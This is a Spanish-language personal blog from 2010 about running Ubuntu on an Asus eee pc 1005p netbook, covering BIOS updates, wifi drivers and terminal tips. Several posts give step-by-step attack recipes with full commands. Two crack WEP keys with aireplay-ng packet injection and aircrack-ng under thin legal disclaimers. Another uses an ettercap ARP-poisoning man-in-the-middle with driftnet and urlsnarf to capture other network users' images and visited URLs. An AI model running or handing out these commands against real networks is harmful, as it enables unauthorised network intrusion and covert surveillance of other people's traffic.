miércoles, 13 de octubre de 2010

Solución al arranque con pantalla negra del Asus eee pc 1005p en diferentes distribuciones linux como Ubuntu Maverick Meerkat

Ububtu 10.10 + Asus eee pc 1005p = Pantalla negra

Hace ya algún tiempo, y después de realizar una rutinaria actualización de paquetes, mi netbook asus eee pc 1005p s equedó con la pantalla negra. Al encender la netbook me permitía visualizar apenas unos segundos de arranque, al momento la pantalla se apaga, pero puedo escuchar como Ubuntu 10.04 se carga.
Probé de todo. Desde intentar cargar drivers al inicio, experimentar con versiones de prueba de Ubuntu 10.10, probé las versiones de 32 y 64 bits, sus variantes de escritorio (xubuntu, etc), incluso aplicaciones derivadas de Ubuntu, como LinuxMint. Como la versión 9.10 karmic koala era la más reciente que a la vez soportaba el chip de video intel GMA 3150, y a la espera de que apareciera la versión estable de Ubuntu 10.10 Maverick Meerkat, le di una tregua a mi problema. Liberada la nueva versión, y el problema persiste. ¿Dónde está el problema? Antiguas distribuciones funcionan, las nuevas no. Y caí en que quizás la netbook se había quedado atrás, siendo Ubuntu 10.10 algo demasiado moderno. ¿Que cómo puede ser eso si el modelo es relativamente reciente? La respuesta está en la BIOS. Cuando lo compré apenas utilicé el windows 7 para actualizar la BIOS con una aplicación asus. E instalé Ubuntu eliminando windows 7. Desde aquella versión hasta hoy le precedieron unas cuantas, y ahí está la solución al problema de la pantalla negra, en mi caso con Ubuntu 10.10.

ADVERTENCIA: La mala manipulación de la BIOS puede inutilizar su equipo. No me hago responsable de los resultados. Aún así, si sigue este tutorial, utilice un archivo de actualización de su modelo exacto, y asegúrese de que su equipo tiene la batería cargada, aunque esté enchufado a una toma de corriente (Un apagón en el sistema mientras se actualiza la BIOS sería fatal para su equipo, pudiendo inutilizarlo).


ACTUALIZAR BIOS DEL ASUS EEE PC 1005P (Aplicable a otros modelos)

PASO 1: Descargar la actualización más reciente de nuestra BIOS de la web de soporte de asus, seleccionar nuestro modelo, en sistema operativo elegir Linux, y bajarnos el archivo más reciente de la pestaña BIOS. Descomprimir el archivo .zip, en mi caso 1005P-ASUS-1202.zip. Nos da un archivo .ROM. Lo renombramos de forma que solo se lea el modelo.ROM. En mi caso 1005P.ROM.

PASO 2: Formateamos un PenDrive, una tarjeta Sd (lo que tengamos a mano),... , pero esto es importante. Formateamos en sistema de archivos Fat16, de otra forma esto no funcionará. Copiamos el archivo *.ROM (en mi caso 1005P.ROM) al dispositivo usb y apagamos el sistema.

PASO 3: Encendemos el equipo y en la primera pantalla que nos da el arranque, en la que podemos entrar a la configuración de la BIOS, en esa primera pantalla presionamos Alt+F2, teniendo conectado el Pendrive. Reconocerá automaticamente la actualización que apenas durará un plis-plas, pidiéndonos luego reiniciar.

Y ya está. Os escribo desde mi netbook asus eee pc 1005p con Ubuntu 10.10.10 Maverick Meerkat recién instalado y sin problemas de video.

Espero que a alguien le sirva.

Un saludo

domingo, 12 de septiembre de 2010

Ubuntu 10.04 tropieza con el Asus eee pc 1005p. Pantalla negra

En una de sus últimas actualizaciones de la fecha que corre, al arrancar el Ubuntu 10.04 en un Netbook Asus eee pc 1005p nos devuelve, antes de siquiera entrar en el escritorio, una bonita pantalla negra, sin posibilidad de cambiarlo haciendo uso de los Fn de brillo que vienen incorporados en el teclado.
En estos días he probado todo tipo de Alphas  y Betas de la siguiente versión, la 10.10, incluso versiones anteriores a la 10.04 y estos son los resultados tuve:

Soporte:           Versión:                            Resultado:

USB      Ubuntu-10.04.1 desktop-i386    PANT. NEGRA/ ARRANCA
USB      Ubuntu-10.10 Alpha 3                      NO ARRANCA
USB      Ubuntu-10.10 beta netbook-i386      NO ARRANCA
USB      Ubuntu-10.10 beta desktop-i386      NO ARRANCA
CD       Ubuntu 10.10 beta netbook-i386 PANT. NEGRA/ ARRANCA
CD       Ubuntu 10.10 R.Candidate-i386 PANT. NEGRA/ ARRANCA
USB      Ubuntu 9.10 desktop-i386            SE VE/ ARRANCA


tres pasitos para adelante, 
un pasito para atrás.
volviendo a karmic koala...


De momento no encuentro la forma de arreglar el problema así que, a la espera de una solución definitiva, opto por instalarle la versión anterior estable, Ubuntu 9.10. La pena es que nunca conseguí poner la tarjeta wifi en modo monitor en aquella, aunque sí navegar utilizando los controladores originales del windows xp. Pero ese es otro artículo que ya escribí hace tiempo y que, si ahora les interesa, pueden volver a retomar. Mientras esperaremos que la solución esté en la versión definitiva y estable que tiene que salir en octubre.

Si a alguien se le ocurre algo mejor, lo agradecería, estoy abierto a sugerencias.


Si te ocurre a ti también, no está de más que me comentes algo, al menos sabré que no soy el único con este problema.


Un saludo.

miércoles, 16 de junio de 2010

Probando Ubuntu 10.10 Maverick Meerkat en su versión Alpha 1 en Netbook Asus 1005p instalado en Pen Drive de 8Gb

Para probar la versión beta de Ubuntu 10.10 he creado un disco de arranque en un Pen Drive de 8Gb, y así hacernos una idea de cómo funciona en el netbook de asus 1005p.



TIEMPO DE ARRANQUE Algo que, dicen, caracterizará U.Maverick Meerkat será la disminusión considerable del tiempo de arranque. No puedo saber directamente qué tiempo tardará en arrancar desde un disco duro, puesto que utilizamos un USB live, pero sí podemos hacernos una idea con una sencilla regla de tres. Desde el Pen Drive tarda 1min50seg, 4min06seg con Persistent Changes. Cronometrado el arranque de Ubuntu 10.04 nos da un tiempo de 36segundos. Si el mismo Ubuntu 10.04 lo iniciamos desde un Usb live tarda 1min54seg en arrancar. No parece demasiada diferencia y haciendo la sencilla regla de tres apenas se ganan 1,28 segundos en su versión alpha.

ENTORNO DE ESCRITORIO Nos vienen anunciando que una de las grandes diferencias será una nueva version del entorno de escritorio GNOME, y por lo que se ve, en su versión alpha sigue utilizando el GNOME 2.30.0.
Viene con nuevo núcleo, pasamos del Linux 2.6.32-22-generic al Linux 2.6.34-5-generic, de momento menos estable que su predecesor.

Problemas que teníamos al instalar Ubuntu Lucid Lynx y su comportamiento en Ubuntu Maverick Meerkat en su versión de prueba:

WIFI A diferencia del Ubuntu 10.04, el 10.10 reconoce a la primera la tarjeta wifi, probada y funcionando al 100%.  Incluso soportando nativamente el modo monitor.

BRILLO Las teclas del teclado que regulan el balance de brillo de la pantalla siguen tan descontroladas como en su versión anterior.

SALIDA AUDIO - Solucionado. En la versión anterior si conectábamos auriculares se oía por los altavoces también. Teníamos que andar tocando las preferencias de sonido, en la pestaña salida, cuando queríamos que sonara por un sitio u otro. Este problema ya no lo tenemos con Ubuntu Maverick Meerkat.

CONLUSIÓN:
Mi conclusión, después de haberlo probado, es que, de momento, me quedo con la versión estable 10.04. La 10.10 Alpha me ha soltado unos pocos de fallos en su actualización, hasta no dejarme acceder ni al gestor de paquetes ni al centro de software de ubuntu. Se han solucionado problemas, pero habrá que esperar a que  en sus futuras versiones sea mucho más estable.

miércoles, 5 de mayo de 2010

Iniciar cualquier aplicación en Ubuntu como root (superusuario)

Para iniciar una aplicación en Ubuntu como root (superusuario) basta con ejecutarlo desde un terminal con gksu delante.
Por ejemplo, si quisiésemos iniciar Nautilus como root escribiríamos lo siguiente:

$ gksu nautilus

Y así para todos los demás.
Si se trata de un programa que usamos con frecuencia como superusuario, recomiendo agregar un lanzador donde, en la casilla de Comando, escribiríamos "gksu NOMBRE-DEL-PROGRAMA".
En mi caso, suelo usar bastante Terminator (Exterminador en español) como root.
Para hacerlo nos dirigimos a Aplicaciones>Accesorios>, hacemos click con el boton derecho del ratón sobre el nombre de la aplicación, y elegimos la opción Añadir este lanzador al panel. Una vez hecho esto, aparece el icono de Terminator en el panel superior de nuestro ubuntu. Ahora queda hacer click con el botón derecho sobre el nuevo lanzador, darle a propiedades, y en la casilla de Comandos, donde aparece terminaror, agregarle gksu, quedando de la siguiente manera:
"Comando: gksu terminator". De esta forma, al iniciarlo desde ahí, lo hará como superusuario, pidiéndonos la contraseña para ejecutarlo.

lunes, 3 de mayo de 2010

Ubuntu 10.04 LTS en Netbook Asus eeepc 1005p - No detecta tarjeta wifi

Tras la instalación de la última versión de Ubuntu (10.04) en nuestro NetBook Asus 1005p se nos presenta un problema importante. Ubuntu no reconoce nuestra tarjeta de red inalámbrica atheros.




Instalar drivers de la tarjeta wifi atheros de nuestro Netbook asus eee 1005p en Ubuntu 10.04 Lucid Lynx:
En un artículo anterior expliqué como resolverlo con el ndiswrapper en el Ubuntu Netbook remix 9.10. Esta vez instalamos un controlador nativo para linux que además nos permitirá, si lo deseamos, poner nuestra tarjeta en modo monitor, cosa que el ndiswrapper no soportaba.

Lógicamente, como no podemos conectarnos con nuestra tarjeta inalámbrica atheros, para este paso será necesario hacerlo por cable.

Abrimos una terminal y tecleamos lo siguiente para descargar el controlador:

$ wget http://wireless.kernel.org/download/compat-wireless-2.6/compat-wireless-2010-02-13.tar.bz2

Una vez descargado lo descomprimimos con el siguiente comando:

$ tar -xf compat-wireless-2010-02-13.tar.bz2

Accedemos a él:

$ cd compat-wireless-2010-02-13

Lo instalamos:

$ sudo make
$ sudo make install
$ sudo make unload
$ sudo make load

Y reiniciamos:

$ sudo reboot
 
Después de reiniciar nos aparecerá la tarjeta como wlan0 funcionando perfectamente. Lo podemos comprobar haciendo sudo ifconfig en terminal.

jueves, 29 de abril de 2010

Seguridad Wireless con Wifislax 3.1 y tarjeta Intel Pro Wireless 2200BG

Conectarse a la red del vecino de forma ilícita está prohibido por la ley. Sirva esta entrada sólo para poner a prueba las redes a las que se os está permitida la conexión, haciendo notar que las encriptaciones WEP deben quedarse en el pasado por su alta vulnerabilidad. No me hago responsable del mal uso del contenido de esta publicación.


Después de mucho buscar y probar, WifiSlax es el único que ha sido capaz de reconocerme la tarjeta Intel pro Wireless 2200bg que tiene mi viejo portátil, y todo a la primera.
A continuación se muestran los pasos a seguir para resolver claves WEP con chipset ipw2200bg y Wifislax 3.1.


Enlace de descarga directa de la imagen ISO de WifiSlax 3.1:



Después de quemar la descarga a un Cd, reiniciamos y arrancamos el Wifislax. Nos pedirá Login (root) y Password (toor), e iniciará en modo texto, sin escritorio. Para iniciar el escritorio Fluxbox introducir lo siguente:

#startx

Una vez dentro abrimos una primera terminal de tres que se van a necesitar activas.


TERMINAL I

Con el siguiente comando eliminamos el módulo que utiliza por defecto:


#rmmod ipw2200

Con este otro instalamos el driver que permite inyectar paquetes:

#modprobe ipw2200 rtap_iface=1

Comprobamos que la interfaz está activa:

#iwconfig

Escaneamos la red buscando un punto de conexión que nos interese, y detenemos con Ctrl+C:

#airodump-ng rtap0

Anotamos el canal (CH) el MAC (BSSID) y el nombre de red (ESSID), y ejecutar de nuevo el airodump, esta vez capturando paquetes del canal en que se encuentre nuestro objetivo:

#airodump-ng -c # -w wep rtap0

(donde # se sustituye por el canal que anotamos antes / wep es el nombre que le damos al archivo en que captura paquetes) 


TERMINAL II

Para asociarnos a esa red:

#iwconfig eth1 essid "nombre red" key 5555555555 (un número cualquiera) 

Comprobamos que estamos asociados a esa red:

#iwconfig

Ahora queda poner el aireplay a inyectar paquetes, y esperar... :

#aireplay-ng -3 -x 1024 -g 1000000 -b MAC OBJETIVO -h NUESTRA MAC -i rtap0 eth1


TERMINAL III

Cuando tengamos un número de paquetes elevado, en esta tercera terminal hacemos uso del aircrack-ptw:

#aircrack-ptw wep-01.cap

(si hiciésemos una segunda captura el archivo se llamaría wep-02.cap, y así consecutivamente)  


¿Qué tiempo se tarda? Depende. Si hay alguien más conectado viendo cosas en youtube, o con el Emule puesto, en menos de 5 minutos provablemente se resuelva por que la captura de paquetes aumenta considerablemente. Y puede que otras veces mucho más. 

lunes, 26 de abril de 2010

Capturando Imágenes y URL's de una red LAN en UBUNTU

En esta ocasión mostraré lo sencillo que resulta capturar imágenes que reciben o envían otros usuarios conectados a la misma red inalámbrica que nosotros, así como las URL's que visitan, y todo en tiempo real.

Instalación de paquetes necesarios:
   
$sudo apt-get install ettercap
$sudo apt-get install driftnet
$sudo apt-get install dsniff


(En este caso mi tarjeta wifi recibe el nombre de wlan0. Si recibiese otro nombre habría que, lógicamente, sustituir wlan0 por el vuestro. Para comprobarlo hacer $ifconfig en terminal)

El primer paso es realizar el siguiente ataque con Ettercap:

$sudo ettercap -T -q -M arp // // -i wlan0

Una vez hecho, en un segundo terminal ejecutaremos Driftnet para capturar el flujo de imágenes que tiene la red:

$sudo driftnet -i wlan0

Si además queremos saber información sobre las Url's visitadas, así como el navegador utilizado, el sistema operativo, etc...,  ejecutamos Urlsnarf (de la suite Dsniff) en un tercer terminal, de la siguiente manera:

$sudo urlsnarf -i wlan0

Demostración:

jueves, 22 de abril de 2010

Terminator, múltiples terminales en uno

Terminator permite disponer de más de un teminal en una misma ventana, cosa que facilita tener el trabajo bien organizado cuando necesitemos ejecutar varios procesos en diferentes terminales.
Para manejar las posibilidades de este programa es preciso recordar un par de combinaciones de teclas (atajos), ya que solo así se puede dividir el terminal en horizontal, en vertical, por pestañas, y mucho más...

A continuación se describen algunos Atajos y Acciones de Terminator que pueden ser de utilidad:

Ctrl+Shift+O   Divide terminal en horizontal.
Ctrl+Shift+E   Divide terminal en vertical.
Ctrl+Shift+T   Abre una pestaña nueva.
Ctrl+Shift+W   Cerrar terminal actual.
Ctrl+Shift+X   Mostrar  sólo terminal actual/Mostrar todas.
Ctrl+(+)   Tamaño de la fuente más grande.
Ctrl+(-)   Tamaño de la fuente más pequeño.
Ctrl+0   Tamaño de la fuente original.
Ctrl+Shift+C   Copiar  selección al portapapeles.
Ctrl+Shift+V   Pegar.
F11   Pantalla completa.
Ctrl+Shift+F   Buscar con el scrollback de la terminal.
Ctrl+Shift+S   Mostrar/Ocultar barra lateral de movimiento.
Ctrl+Shift+Q   Cerrar Terminator.

miércoles, 21 de abril de 2010

Nubuntu 8.12 beta / Resolviendo claves WEP


Conectarse a la red del vecino de forma ilícita está prohibido por la ley. Sirva esta entrada sólo para poner a prueba las redes a las que se os está permitida la conexión, haciendo notar que las encriptaciones WEP deben quedarse en el pasado por su alta vulnerabilidad. No me hago responsable del mal uso del contenido de esta publicación.


Enlace de descarga directa de la imagen ISO de nUbuntu 8.12 Beta:

Al cargar nubuntu se inicia sin escritorio. Para iniciar el escritorio Fluxbox introducir lo siguente:

$startx

MODO MONITOR (Terminal I)
Lo primero es poner nuestra tarjeta en modo monitor. Para ello, en una terminal tecleamos:

$airmon-ng start wlan0 (donde wlan0 es el nombre de la tarjeta en este caso. Para ver cual es el nombre que recibe: $ifconfig).
En mi caso me crea una nueva entrada en el ifconfig llamada mon0, que es donde está abilitado el modo monitor.


CAPTURAR PAQUETES (Terminal I)
Utilizando el siguiente comando, escanear la red inalámbrica, seleccionar la conexión en que queremos hacer la prueba de seguridad, y anotar el nombre (ESSID), la dirección MAC (BSSID), así como en el canal en que se encuentra (CH).
$airodump-ng mon0

$airodump-ng -w wep mon0 --channel #
Con este comando iniciamos el airodump-ng capturando paquetes a un archivo llamado wep-01.cap, en este caso. Con cada captura este valor variará a 02, 03... . # se sustituye por el canal que anotamos anteriormente.


GENERAR TRÁFICO (Terminal II)
Para asociarnos a esa conexión:
$aireplay-ng -1 0 -e ESSID -a MAC_CONEXIÓN_QUE_PROBAMOS -h MAC_DE_NUESTRA_TARJETA_WIFI mon0

Y para enviar paquetes:
$aireplay-ng -3 -b MAC_CONEXIÓN_QUE_PROBAMOS -h MAC_DE_NUESTRA_TARJETA_WIFI mon0

RESOLVIENDO CLAVE WEP (Terminal III)
$aircrack-ng -s wep-01.cap

Esta última línea de comando será la que resuelva la clave WEP. Para ello son necesarios al menos 10.000 paquetes, a veces 100.000.

Instalación de Ubuntu Netbook Remix 9.10 en ASUS eeepc 1005p



Este modelo suele venir con Windows 7 Starter, del cual se usará la utilidad Asus update para descargar e instalar la última actualización de la BIOS. Este paso es muy importante, y debe hacerse antes que nada.


ARRANQUE DESDE PUERTO USB

El siguiente paso es reiniciar y entrar en la BIOS (En el caso del 1005p se hace presionando F2).
Una vez en la BIOS ir a la pestaña BOOT, seleccionar la opción Hard Disk Drives, en la que veremos algo así:

1st Drive [HDD: ......
2st Drive [USB: .....

Basta con invertir el orden dándole a intro sobre cualquiera de los dos, y seleccionar el que nos convenga que esté en esa posición. Con F10 guardamos el cambio y salimos de la BIOS.
Así se puede realizar la instalación a través de una Unidad de Cd externa vía usb o a vía lápiz de memoria, incluso desde una tarjeta de memoria, según guste a cada uno. Instalar Ubuntu Netbook Remix y actualizar.

------------------------------

SOLUCIONAR PROBLEMA CON CONEXIÓN WIFI

Instalar ndiswrapper y utilizar el controlador de nuestra tarjeta wifi que se encuentra en: 

http://www.athero.cz/download.php?atheros=AR5007EG&system=1

Con estos datos, el resto es muy intuitivo.

------------------------------

APLICACIÓN EEEPC-TRAY

Esta aplicación aumentará la duración de la batería, controlando la frecuencia de nuestro procesador. Así, en función de lo que estemos haciendo con el netbook, regularemos la frecuencia con el ahorro de energía que eso supone.

Instalación:
Agregar a repositorios:  

deb http:// statux.org/software packages main

Y en terminal:

$sudo apt-get install eeepc-tray

------------------------------

CAMBIAR EL ESCRITORIO QUE VIENE POR DEFECTO

Para el no le guste: Sistema->Preferencias->Aplicaciones al inicio-> y desactivar Netbook Launcher y Maximus Windows Management , eliminar el menú del panel(botón derecho, quitar del panel) y agregar el menú clásico de Gnome (botón derecho, añadir al panel).
  

------------------------------

DESBLOQUEAR ESCRITORIO

A través de la utilidad Ubuntu Tweak, dentro de la opción Ecritorio, y vamos a Configuración de Iconos del Escritorio y marcamos la casilla Mostrar iconos de esrcitorio.